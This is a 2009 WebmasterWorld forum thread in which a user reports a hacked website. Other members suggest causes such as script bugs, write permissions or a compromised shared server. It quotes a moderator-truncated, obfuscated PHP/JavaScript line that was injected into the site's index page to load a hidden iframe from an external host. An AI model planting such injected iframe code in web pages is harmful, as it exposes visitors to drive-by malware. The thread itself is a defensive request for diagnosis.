Welcome to WebmasterWorld Guest from 54.221.28.179

Forum Moderators: coopster & jatar k

Message Too Old, No Replies

I think my friend's website got hacked?

     

Walley

5:41 pm on Jul 29, 2009 (gmt 0)

5+ Year Member



I help made a website for a friend a while ago and recently went to visit it.
File permission: 604

If so how do I prevent this? The site has no textarea or inputs.

I noticed this error when opening the website:
Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting ',' or ';'

I then downloaded the file and found the below at the bottom of my index page.


<?php echo '<script>document.write("<if"+''+'ra'+''+"m"+'e s'+"rc=\"h"+''+'tt'+"p:"+''+"/"+''+'/mic'+" "ra"+"m"+"e>");</script>'; ?>

[edited by: jatar_k at 2:21 pm (utc) on July 30, 2009]
[edit reason] reduced malicious code [/edit]

StoutFiles

8:29 pm on Jul 29, 2009 (gmt 0)

WebmasterWorld Senior Member 5+ Year Member



Looks like you're iframing some .cn sites. Obviously I'm not going to go to them but they may try to install software upon loading, which would be a big problem since they're iframed so small that it would appear as if you were giving out viruses.

Walley

11:43 pm on Jul 29, 2009 (gmt 0)

5+ Year Member



How was this possible? Looks like they got a hold of the index file and some how wrote that into it. There are no textareas or inputs on the site.

eeek

4:53 am on Jul 30, 2009 (gmt 0)

WebmasterWorld Senior Member 10+ Year Member



How was this possible?

Bugs in a script you are running and permissions that allow the server to write over the content would be my guess.

dreamcatcher

3:29 pm on Jul 30, 2009 (gmt 0)

WebmasterWorld Senior Member dreamcatcher is a WebmasterWorld Top Contributor of All Time 10+ Year Member



Are you on a shared server? Maybe another site got hacked on the server and it affected all sites on the server.

dc

 

Featured Threads

Hot Threads This Week

Hot Threads This Month